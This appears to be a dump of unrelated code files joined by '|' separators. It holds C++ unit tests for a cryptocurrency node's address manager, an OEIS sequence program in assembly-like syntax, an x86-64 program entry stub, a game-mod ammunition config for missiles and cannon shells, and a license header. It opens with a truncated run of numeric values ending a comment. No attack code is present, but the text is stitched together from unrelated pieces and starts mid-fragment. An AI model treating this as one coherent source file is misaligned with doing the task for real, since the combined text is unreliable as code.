32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
// Copyright (c) 2012-2017 The Kazucoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <addrman.h>
#include <test/test_kazucoin.h>
#include <string>
#include <boost/test/unit_test.hpp>
#include <hash.h>
#include <netbase.h>
#include <random.h>
class CAddrManTest : public CAddrMan
{
uint64_t state;
public:
explicit CAddrManTest(bool makeDeterministic = true)
{
state = 1;
if (makeDeterministic) {
// Set addrman addr placement to be deterministic.
MakeDeterministic();
}
}
//! Ensure that bucket placement is always the same for testing purposes.
void MakeDeterministic()
{
nKey.SetNull();
insecure_rand = FastRandomContext(true);
}
int RandomInt(int nMax) override
{
state = (CHashWriter(SER_GETHASH, 0) << state).GetHash().GetCheapHash();
return (unsigned int)(state % nMax);
}
CAddrInfo* Find(const CNetAddr& addr, int* pnId = nullptr)
{
return CAddrMan::Find(addr, pnId);
}
CAddrInfo* Create(const CAddress& addr, const CNetAddr& addrSource, int* pnId = nullptr)
{
return CAddrMan::Create(addr, addrSource, pnId);
}
void Delete(int nId)
{
CAddrMan::Delete(nId);
}
// Simulates connection failure so that we can test eviction of offline nodes
void SimConnFail(CService& addr)
{
int64_t nLastSuccess = 1;
Good_(addr, true, nLastSuccess); // Set last good connection in the deep past.
bool count_failure = false;
int64_t nLastTry = GetAdjustedTime()-61;
Attempt(addr, count_failure, nLastTry);
}
};
static CNetAddr ResolveIP(const char* ip)
{
CNetAddr addr;
BOOST_CHECK_MESSAGE(LookupHost(ip, addr, false), strprintf("failed to resolve: %s", ip));
return addr;
}
static CNetAddr ResolveIP(std::string ip)
{
return ResolveIP(ip.c_str());
}
static CService ResolveService(const char* ip, int port = 0)
{
CService serv;
BOOST_CHECK_MESSAGE(Lookup(ip, serv, port, false), strprintf("failed to resolve: %s:%i", ip, port));
return serv;
}
static CService ResolveService(std::string ip, int port = 0)
{
return ResolveService(ip.c_str(), port);
}
BOOST_FIXTURE_TEST_SUITE(addrman_tests, BasicTestingSetup)
BOOST_AUTO_TEST_CASE(addrman_simple)
{
CAddrManTest addrman;
CNetAddr source = ResolveIP("252.2.2.2");
// Test: Does Addrman respond correctly when empty.
BOOST_CHECK_EQUAL(addrman.size(), 0U);
CAddrInfo addr_null = addrman.Select();
BOOST_CHECK_EQUAL(addr_null.ToString(), "[::]:0");
// Test: Does Addrman::Add work as expected.
CService addr1 = ResolveService("250.1.1.1", 8333);
BOOST_CHECK(addrman.Add(CAddress(addr1, NODE_NONE), source));
BOOST_CHECK_EQUAL(addrman.size(), 1U);
CAddrInfo addr_ret1 = addrman.Select();
BOOST_CHECK_EQUAL(addr_ret1.ToString(), "250.1.1.1:8333");
// Test: Does IP address deduplication work correctly.
// Expected dup IP should not be added.
CService addr1_dup = ResolveService("250.1.1.1", 8333);
BOOST_CHECK(!addrman.Add(CAddress(addr1_dup, NODE_NONE), source));
BOOST_CHECK_EQUAL(addrman.size(), 1U);
// Test: New table has one addr and we add a diff addr we should
// have at least one addr.
// Note that addrman's size cannot be tested reliably after insertion, as
// hash collisions may occur. But we can always be sure of at least one
// success.
CService addr2 = ResolveService("250.1.1.2", 8333);
BOOST_CHECK(addrman.Add(CAddress(addr2, NODE_NONE), source));
BOOST_CHECK(addrman.size() >= 1);
// Test: AddrMan::Clear() should empty the new table.
addrman.Clear();
BOOST_CHECK_EQUAL(addrman.size(), 0U);
CAddrInfo addr_null2 = addrman.Select();
BOOST_CHECK_EQUAL(addr_null2.ToString(), "[::]:0");
// Test: AddrMan::Add multiple addresses works as expected
std::vector<CAddress> vAddr;
vAddr.push_back(CAddress(ResolveService("250.1.1.3", 8333), NODE_NONE));
vAddr.push_back(CAddress(ResolveService("250.1.1.4", 8333), NODE_NONE));
BOOST_CHECK(addrman.Add(vAddr, source));
BOOST_CHECK(addrman.size() >= 1);
}
BOOST_AUTO_TEST_CASE(addrman_ports)
{
CAddrManTest addrman;
CNetAddr source = ResolveIP("252.2.2.2");
BOOST_CHECK_EQUAL(addrman.size(), 0U);
// Test 7; Addr with same IP but diff port does not replace existing addr.
CService addr1 = ResolveService("250.1.1.1", 8333);
addrman.Add(CAddress(addr1, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 1U);
CService addr1_port = ResolveService("250.1.1.1", 8334);
addrman.Add(CAddress(addr1_port, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 1U);
CAddrInfo addr_ret2 = addrman.Select();
BOOST_CHECK_EQUAL(addr_ret2.ToString(), "250.1.1.1:8333");
// Test: Add same IP but diff port to tried table, it doesn't get added.
// Perhaps this is not ideal behavior but it is the current behavior.
addrman.Good(CAddress(addr1_port, NODE_NONE));
BOOST_CHECK_EQUAL(addrman.size(), 1U);
bool newOnly = true;
CAddrInfo addr_ret3 = addrman.Select(newOnly);
BOOST_CHECK_EQUAL(addr_ret3.ToString(), "250.1.1.1:8333");
}
BOOST_AUTO_TEST_CASE(addrman_select)
{
CAddrManTest addrman;
CNetAddr source = ResolveIP("252.2.2.2");
// Test: Select from new with 1 addr in new.
CService addr1 = ResolveService("250.1.1.1", 8333);
addrman.Add(CAddress(addr1, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 1U);
bool newOnly = true;
CAddrInfo addr_ret1 = addrman.Select(newOnly);
BOOST_CHECK_EQUAL(addr_ret1.ToString(), "250.1.1.1:8333");
// Test: move addr to tried, select from new expected nothing returned.
addrman.Good(CAddress(addr1, NODE_NONE));
BOOST_CHECK_EQUAL(addrman.size(), 1U);
CAddrInfo addr_ret2 = addrman.Select(newOnly);
BOOST_CHECK_EQUAL(addr_ret2.ToString(), "[::]:0");
CAddrInfo addr_ret3 = addrman.Select();
BOOST_CHECK_EQUAL(addr_ret3.ToString(), "250.1.1.1:8333");
BOOST_CHECK_EQUAL(addrman.size(), 1U);
// Add three addresses to new table.
CService addr2 = ResolveService("250.3.1.1", 8333);
CService addr3 = ResolveService("250.3.2.2", 9999);
CService addr4 = ResolveService("250.3.3.3", 9999);
addrman.Add(CAddress(addr2, NODE_NONE), ResolveService("250.3.1.1", 8333));
addrman.Add(CAddress(addr3, NODE_NONE), ResolveService("250.3.1.1", 8333));
addrman.Add(CAddress(addr4, NODE_NONE), ResolveService("250.4.1.1", 8333));
// Add three addresses to tried table.
CService addr5 = ResolveService("250.4.4.4", 8333);
CService addr6 = ResolveService("250.4.5.5", 7777);
CService addr7 = ResolveService("250.4.6.6", 8333);
addrman.Add(CAddress(addr5, NODE_NONE), ResolveService("250.3.1.1", 8333));
addrman.Good(CAddress(addr5, NODE_NONE));
addrman.Add(CAddress(addr6, NODE_NONE), ResolveService("250.3.1.1", 8333));
addrman.Good(CAddress(addr6, NODE_NONE));
addrman.Add(CAddress(addr7, NODE_NONE), ResolveService("250.1.1.3", 8333));
addrman.Good(CAddress(addr7, NODE_NONE));
// Test: 6 addrs + 1 addr from last test = 7.
BOOST_CHECK_EQUAL(addrman.size(), 7U);
// Test: Select pulls from new and tried regardless of port number.
std::set<uint16_t> ports;
for (int i = 0; i < 20; ++i) {
ports.insert(addrman.Select().GetPort());
}
BOOST_CHECK_EQUAL(ports.size(), 3U);
}
BOOST_AUTO_TEST_CASE(addrman_new_collisions)
{
CAddrManTest addrman;
CNetAddr source = ResolveIP("252.2.2.2");
BOOST_CHECK_EQUAL(addrman.size(), 0U);
for (unsigned int i = 1; i < 18; i++) {
CService addr = ResolveService("250.1.1." + std::to_string(i));
addrman.Add(CAddress(addr, NODE_NONE), source);
//Test: No collision in new table yet.
BOOST_CHECK_EQUAL(addrman.size(), i);
}
//Test: new table collision!
CService addr1 = ResolveService("250.1.1.18");
addrman.Add(CAddress(addr1, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 17U);
CService addr2 = ResolveService("250.1.1.19");
addrman.Add(CAddress(addr2, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 18U);
}
BOOST_AUTO_TEST_CASE(addrman_tried_collisions)
{
CAddrManTest addrman;
CNetAddr source = ResolveIP("252.2.2.2");
BOOST_CHECK_EQUAL(addrman.size(), 0U);
for (unsigned int i = 1; i < 80; i++) {
CService addr = ResolveService("250.1.1." + std::to_string(i));
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(CAddress(addr, NODE_NONE));
//Test: No collision in tried table yet.
BOOST_CHECK_EQUAL(addrman.size(), i);
}
//Test: tried table collision!
CService addr1 = ResolveService("250.1.1.80");
addrman.Add(CAddress(addr1, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 79U);
CService addr2 = ResolveService("250.1.1.81");
addrman.Add(CAddress(addr2, NODE_NONE), source);
BOOST_CHECK_EQUAL(addrman.size(), 80U);
}
BOOST_AUTO_TEST_CASE(addrman_find)
{
CAddrManTest addrman;
BOOST_CHECK_EQUAL(addrman.size(), 0U);
CAddress addr1 = CAddress(ResolveService("250.1.2.1", 8333), NODE_NONE);
CAddress addr2 = CAddress(ResolveService("250.1.2.1", 9999), NODE_NONE);
CAddress addr3 = CAddress(ResolveService("251.255.2.1", 8333), NODE_NONE);
CNetAddr source1 = ResolveIP("250.1.2.1");
CNetAddr source2 = ResolveIP("250.1.2.2");
addrman.Add(addr1, source1);
addrman.Add(addr2, source2);
addrman.Add(addr3, source1);
// Test: ensure Find returns an IP matching what we searched on.
CAddrInfo* info1 = addrman.Find(addr1);
BOOST_REQUIRE(info1);
BOOST_CHECK_EQUAL(info1->ToString(), "250.1.2.1:8333");
// Test 18; Find does not discriminate by port number.
CAddrInfo* info2 = addrman.Find(addr2);
BOOST_REQUIRE(info2);
BOOST_CHECK_EQUAL(info2->ToString(), info1->ToString());
// Test: Find returns another IP matching what we searched on.
CAddrInfo* info3 = addrman.Find(addr3);
BOOST_REQUIRE(info3);
BOOST_CHECK_EQUAL(info3->ToString(), "251.255.2.1:8333");
}
BOOST_AUTO_TEST_CASE(addrman_create)
{
CAddrManTest addrman;
BOOST_CHECK_EQUAL(addrman.size(), 0U);
CAddress addr1 = CAddress(ResolveService("250.1.2.1", 8333), NODE_NONE);
CNetAddr source1 = ResolveIP("250.1.2.1");
int nId;
CAddrInfo* pinfo = addrman.Create(addr1, source1, &nId);
// Test: The result should be the same as the input addr.
BOOST_CHECK_EQUAL(pinfo->ToString(), "250.1.2.1:8333");
CAddrInfo* info2 = addrman.Find(addr1);
BOOST_CHECK_EQUAL(info2->ToString(), "250.1.2.1:8333");
}
BOOST_AUTO_TEST_CASE(addrman_delete)
{
CAddrManTest addrman;
BOOST_CHECK_EQUAL(addrman.size(), 0U);
CAddress addr1 = CAddress(ResolveService("250.1.2.1", 8333), NODE_NONE);
CNetAddr source1 = ResolveIP("250.1.2.1");
int nId;
addrman.Create(addr1, source1, &nId);
// Test: Delete should actually delete the addr.
BOOST_CHECK_EQUAL(addrman.size(), 1U);
addrman.Delete(nId);
BOOST_CHECK_EQUAL(addrman.size(), 0U);
CAddrInfo* info2 = addrman.Find(addr1);
BOOST_CHECK(info2 == nullptr);
}
BOOST_AUTO_TEST_CASE(addrman_getaddr)
{
CAddrManTest addrman;
// Test: Sanity check, GetAddr should never return anything if addrman
// is empty.
BOOST_CHECK_EQUAL(addrman.size(), 0U);
std::vector<CAddress> vAddr1 = addrman.GetAddr();
BOOST_CHECK_EQUAL(vAddr1.size(), 0U);
CAddress addr1 = CAddress(ResolveService("250.250.2.1", 8333), NODE_NONE);
addr1.nTime = GetAdjustedTime(); // Set time so isTerrible = false
CAddress addr2 = CAddress(ResolveService("250.251.2.2", 9999), NODE_NONE);
addr2.nTime = GetAdjustedTime();
CAddress addr3 = CAddress(ResolveService("251.252.2.3", 8333), NODE_NONE);
addr3.nTime = GetAdjustedTime();
CAddress addr4 = CAddress(ResolveService("252.253.3.4", 8333), NODE_NONE);
addr4.nTime = GetAdjustedTime();
CAddress addr5 = CAddress(ResolveService("252.254.4.5", 8333), NODE_NONE);
addr5.nTime = GetAdjustedTime();
CNetAddr source1 = ResolveIP("250.1.2.1");
CNetAddr source2 = ResolveIP("250.2.3.3");
// Test: Ensure GetAddr works with new addresses.
addrman.Add(addr1, source1);
addrman.Add(addr2, source2);
addrman.Add(addr3, source1);
addrman.Add(addr4, source2);
addrman.Add(addr5, source1);
// GetAddr returns 23% of addresses, 23% of 5 is 1 rounded down.
BOOST_CHECK_EQUAL(addrman.GetAddr().size(), 1U);
// Test: Ensure GetAddr works with new and tried addresses.
addrman.Good(CAddress(addr1, NODE_NONE));
addrman.Good(CAddress(addr2, NODE_NONE));
BOOST_CHECK_EQUAL(addrman.GetAddr().size(), 1U);
// Test: Ensure GetAddr still returns 23% when addrman has many addrs.
for (unsigned int i = 1; i < (8 * 256); i++) {
int octet1 = i % 256;
int octet2 = i >> 8 % 256;
std::string strAddr = std::to_string(octet1) + "." + std::to_string(octet2) + ".1.23";
CAddress addr = CAddress(ResolveService(strAddr), NODE_NONE);
// Ensure that for all addrs in addrman, isTerrible == false.
addr.nTime = GetAdjustedTime();
addrman.Add(addr, ResolveIP(strAddr));
if (i % 8 == 0)
addrman.Good(addr);
}
std::vector<CAddress> vAddr = addrman.GetAddr();
size_t percent23 = (addrman.size() * 23) / 100;
BOOST_CHECK_EQUAL(vAddr.size(), percent23);
BOOST_CHECK_EQUAL(vAddr.size(), 461U);
// (Addrman.size() < number of addresses added) due to address collisions.
BOOST_CHECK_EQUAL(addrman.size(), 2006U);
}
BOOST_AUTO_TEST_CASE(caddrinfo_get_tried_bucket)
{
CAddrManTest addrman;
CAddress addr1 = CAddress(ResolveService("250.1.1.1", 8333), NODE_NONE);
CAddress addr2 = CAddress(ResolveService("250.1.1.1", 9999), NODE_NONE);
CNetAddr source1 = ResolveIP("250.1.1.1");
CAddrInfo info1 = CAddrInfo(addr1, source1);
uint256 nKey1 = (uint256)(CHashWriter(SER_GETHASH, 0) << 1).GetHash();
uint256 nKey2 = (uint256)(CHashWriter(SER_GETHASH, 0) << 2).GetHash();
BOOST_CHECK_EQUAL(info1.GetTriedBucket(nKey1), 40);
// Test: Make sure key actually randomizes bucket placement. A fail on
// this test could be a security issue.
BOOST_CHECK(info1.GetTriedBucket(nKey1) != info1.GetTriedBucket(nKey2));
// Test: Two addresses with same IP but different ports can map to
// different buckets because they have different keys.
CAddrInfo info2 = CAddrInfo(addr2, source1);
BOOST_CHECK(info1.GetKey() != info2.GetKey());
BOOST_CHECK(info1.GetTriedBucket(nKey1) != info2.GetTriedBucket(nKey1));
std::set<int> buckets;
for (int i = 0; i < 255; i++) {
CAddrInfo infoi = CAddrInfo(
CAddress(ResolveService("250.1.1." + std::to_string(i)), NODE_NONE),
ResolveIP("250.1.1." + std::to_string(i)));
int bucket = infoi.GetTriedBucket(nKey1);
buckets.insert(bucket);
}
// Test: IP addresses in the same group (\16 prefix for IPv4) should
// never get more than 8 buckets
BOOST_CHECK_EQUAL(buckets.size(), 8U);
buckets.clear();
for (int j = 0; j < 255; j++) {
CAddrInfo infoj = CAddrInfo(
CAddress(ResolveService("250." + std::to_string(j) + ".1.1"), NODE_NONE),
ResolveIP("250." + std::to_string(j) + ".1.1"));
int bucket = infoj.GetTriedBucket(nKey1);
buckets.insert(bucket);
}
// Test: IP addresses in the different groups should map to more than
// 8 buckets.
BOOST_CHECK_EQUAL(buckets.size(), 160U);
}
BOOST_AUTO_TEST_CASE(caddrinfo_get_new_bucket)
{
CAddrManTest addrman;
CAddress addr1 = CAddress(ResolveService("250.1.2.1", 8333), NODE_NONE);
CAddress addr2 = CAddress(ResolveService("250.1.2.1", 9999), NODE_NONE);
CNetAddr source1 = ResolveIP("250.1.2.1");
CAddrInfo info1 = CAddrInfo(addr1, source1);
uint256 nKey1 = (uint256)(CHashWriter(SER_GETHASH, 0) << 1).GetHash();
uint256 nKey2 = (uint256)(CHashWriter(SER_GETHASH, 0) << 2).GetHash();
// Test: Make sure the buckets are what we expect
BOOST_CHECK_EQUAL(info1.GetNewBucket(nKey1), 786);
BOOST_CHECK_EQUAL(info1.GetNewBucket(nKey1, source1), 786);
// Test: Make sure key actually randomizes bucket placement. A fail on
// this test could be a security issue.
BOOST_CHECK(info1.GetNewBucket(nKey1) != info1.GetNewBucket(nKey2));
// Test: Ports should not affect bucket placement in the addr
CAddrInfo info2 = CAddrInfo(addr2, source1);
BOOST_CHECK(info1.GetKey() != info2.GetKey());
BOOST_CHECK_EQUAL(info1.GetNewBucket(nKey1), info2.GetNewBucket(nKey1));
std::set<int> buckets;
for (int i = 0; i < 255; i++) {
CAddrInfo infoi = CAddrInfo(
CAddress(ResolveService("250.1.1." + std::to_string(i)), NODE_NONE),
ResolveIP("250.1.1." + std::to_string(i)));
int bucket = infoi.GetNewBucket(nKey1);
buckets.insert(bucket);
}
// Test: IP addresses in the same group (\16 prefix for IPv4) should
// always map to the same bucket.
BOOST_CHECK_EQUAL(buckets.size(), 1U);
buckets.clear();
for (int j = 0; j < 4 * 255; j++) {
CAddrInfo infoj = CAddrInfo(CAddress(
ResolveService(
std::to_string(250 + (j / 255)) + "." + std::to_string(j % 256) + ".1.1"), NODE_NONE),
ResolveIP("251.4.1.1"));
int bucket = infoj.GetNewBucket(nKey1);
buckets.insert(bucket);
}
// Test: IP addresses in the same source groups should map to no more
// than 64 buckets.
BOOST_CHECK(buckets.size() <= 64);
buckets.clear();
for (int p = 0; p < 255; p++) {
CAddrInfo infoj = CAddrInfo(
CAddress(ResolveService("250.1.1.1"), NODE_NONE),
ResolveIP("250." + std::to_string(p) + ".1.1"));
int bucket = infoj.GetNewBucket(nKey1);
buckets.insert(bucket);
}
// Test: IP addresses in the different source groups should map to more
// than 64 buckets.
BOOST_CHECK(buckets.size() > 64);
}
BOOST_AUTO_TEST_CASE(addrman_selecttriedcollision)
{
CAddrManTest addrman;
// Set addrman addr placement to be deterministic.
addrman.MakeDeterministic();
BOOST_CHECK(addrman.size() == 0);
// Empty addrman should return blank addrman info.
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
// Add twenty two addresses.
CNetAddr source = ResolveIP("252.2.2.2");
for (unsigned int i = 1; i < 23; i++) {
CService addr = ResolveService("250.1.1."+std::to_string(i));
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(addr);
// No collisions yet.
BOOST_CHECK(addrman.size() == i);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
// Ensure Good handles duplicates well.
for (unsigned int i = 1; i < 23; i++) {
CService addr = ResolveService("250.1.1."+std::to_string(i));
addrman.Good(addr);
BOOST_CHECK(addrman.size() == 22);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
}
BOOST_AUTO_TEST_CASE(addrman_noevict)
{
CAddrManTest addrman;
// Set addrman addr placement to be deterministic.
addrman.MakeDeterministic();
// Add twenty two addresses.
CNetAddr source = ResolveIP("252.2.2.2");
for (unsigned int i = 1; i < 23; i++) {
CService addr = ResolveService("250.1.1."+std::to_string(i));
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(addr);
// No collision yet.
BOOST_CHECK(addrman.size() == i);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
// Collision between 23 and 19.
CService addr23 = ResolveService("250.1.1.23");
addrman.Add(CAddress(addr23, NODE_NONE), source);
addrman.Good(addr23);
BOOST_CHECK(addrman.size() == 23);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "250.1.1.19:0");
// 23 should be discarded and 19 not evicted.
addrman.ResolveCollisions();
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
// Lets create two collisions.
for (unsigned int i = 24; i < 33; i++) {
CService addr = ResolveService("250.1.1."+std::to_string(i));
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(addr);
BOOST_CHECK(addrman.size() == i);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
// Cause a collision.
CService addr33 = ResolveService("250.1.1.33");
addrman.Add(CAddress(addr33, NODE_NONE), source);
addrman.Good(addr33);
BOOST_CHECK(addrman.size() == 33);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "250.1.1.27:0");
// Cause a second collision.
addrman.Add(CAddress(addr23, NODE_NONE), source);
addrman.Good(addr23);
BOOST_CHECK(addrman.size() == 33);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() != "[::]:0");
addrman.ResolveCollisions();
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
BOOST_AUTO_TEST_CASE(addrman_evictionworks)
{
CAddrManTest addrman;
// Set addrman addr placement to be deterministic.
addrman.MakeDeterministic();
BOOST_CHECK(addrman.size() == 0);
// Empty addrman should return blank addrman info.
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
// Add twenty two addresses.
CNetAddr source = ResolveIP("252.2.2.2");
for (unsigned int i = 1; i < 23; i++) {
CService addr = ResolveService("250.1.1."+std::to_string(i));
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(addr);
// No collision yet.
BOOST_CHECK(addrman.size() == i);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
// Collision between 23 and 19.
CService addr = ResolveService("250.1.1.23");
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(addr);
BOOST_CHECK(addrman.size() == 23);
CAddrInfo info = addrman.SelectTriedCollision();
BOOST_CHECK(info.ToString() == "250.1.1.19:0");
// Ensure test of address fails, so that it is evicted.
addrman.SimConnFail(info);
// Should swap 23 for 19.
addrman.ResolveCollisions();
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
// If 23 was swapped for 19, then this should cause no collisions.
addrman.Add(CAddress(addr, NODE_NONE), source);
addrman.Good(addr);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
// If we insert 19 is should collide with 23.
CService addr19 = ResolveService("250.1.1.19");
addrman.Add(CAddress(addr19, NODE_NONE), source);
addrman.Good(addr19);
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "250.1.1.23:0");
addrman.ResolveCollisions();
BOOST_CHECK(addrman.SelectTriedCollision().ToString() == "[::]:0");
}
BOOST_AUTO_TEST_SUITE_END()
|
; A089658: Let S1 := (n,t)->add( k^t * add( binomial(n,j), j=0..k), k=0..n); a(n) = S1(n,1).
; 0,2,11,42,136,400,1104,2912,7424,18432,44800,107008,251904,585728,1347584,3072000,6946816,15597568,34799616,77201408,170393600,374341632,818937856,1784676352,3875536896,8388608000,18102616064,38956695552,83617644544,179046449152,382520524800,815506915328,1735166787584,3685081939968,7812545511424,16535624089600,34943853920256,73735998537728,155374736900096,326967270309888,687194767360000,1442559255642112,3024756488011776,6335385999245312
mov $3,$0
add $3,$0
add $0,1
mov $4,3
mul $4,$0
mov $0,$3
mov $2,$3
add $4,2
lpb $0
sub $0,2
mov $1,$4
mul $2,2
mul $1,$2
mul $1,2
lpe
div $1,32
|
# For now, we just call the main function and
# pass parameters
.intel_syntax noprefix
.text
.globl _start
.extern main
_start:
xor ebp, ebp
mov esi, DWORD PTR [rsp+0]
lea rdi, 8[rsp]
call main
mov rdi, rax
mov rax, 60
syscall
|
class CfgAmmo {
class M_Scalpel_AT;
class B_30mm_MP_Tracer_Green;
class ACE_Hellfire_AGM114K: M_Scalpel_AT {class ace_missileguidance;};
class ACE_Hellfire_AGM114N: M_Scalpel_AT {class ace_missileguidance;};
class VTX_Hellfire_AGM114K: ACE_Hellfire_AGM114K {
displayName = "AGM-114K Hellfire";
model = "z\vtx\addons\uh60_weapons\fza_agm114k.p3d";
proxyShape = "z\vtx\addons\uh60_weapons\fza_agm114k.p3d";
class ace_missileguidance: ace_missileguidance {
enabled = 1; // Missile Guidance must be explicitly enabled
};
};
class VTX_Hellfire_AGM114N: ACE_Hellfire_AGM114N {
displayName = "AGM-114N Hellfire";
model = "z\vtx\addons\uh60_weapons\fza_agm114n.p3d";
proxyShape = "z\vtx\addons\uh60_weapons\fza_agm114n.p3d";
class ace_missileguidance: ace_missileguidance {
enabled = 1; // Missile Guidance must be explicitly enabled
};
};
class M_PG_AT;
class VTX_APKWS: M_PG_AT
{
displayName = "AGR-20 APKWS";
displayNameShort = "APKWS";
description = "AGR-20 Advanced Precision Kill Weapon System Laser Guided Rocket";
descriptionShort = "AGR-20 APKWS Guided Rocket";
irLock = 0;
laserLock = 0;
manualControl = 0;
maxSpeed = 300;
ace_rearm_caliber = 70;
class ace_missileguidance
{
enabled = 1;
minDeflection = 0.0005;
maxDeflection = 0.0025;
incDeflection = 0.0005;
canVanillaLock = 0;
defaultSeekerType = "SALH";
seekerTypes[] = {"SALH"};
defaultSeekerLockMode = "LOAL";
seekerLockModes[] = {"LOAL"};
seekerAngle = 40; //
seekerAccuracy = 1;
seekerMinRange = 1;
seekerMaxRange = 5000; //
defaultAttackProfile = "LIN";
attackProfiles[] = {"LIN"};
};
};
class vtx_30mm_shells_ap : B_30mm_MP_Tracer_Green {
caliber=4.4;
explosive = 0.1;
hit = 170;
indirectHit = 60;
indirectHitRange = 2;
explosionEffects = "ExploAmmoExplosion";
deflecting = 10;
};
class vtx_30mm_shells_hedp : vtx_30mm_shells_ap {
explosive = 1;
hit = 20;
indirectHit = 40;
indirectHitRange = 2;
explosionEffects = "ExploAmmoExplosion";
deflecting = -1;
ace_frag_enabled = 1;
ace_frag_metal = 210;
ace_frag_charge = 185;
ace_frag_gurney_c = 2843;
ace_frag_gurney_k = 3/5;
ace_frag_classes[] = {"ACE_frag_large"};
ace_frag_skip = 0;
ace_frag_force = 1;
// https://ace3mod.com/wiki/framework/frag-framework.html
};
};
|
// Copyright Take Vos 2021.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at https://www.boost.org/LICENSE_1_0.txt)
#pragma once
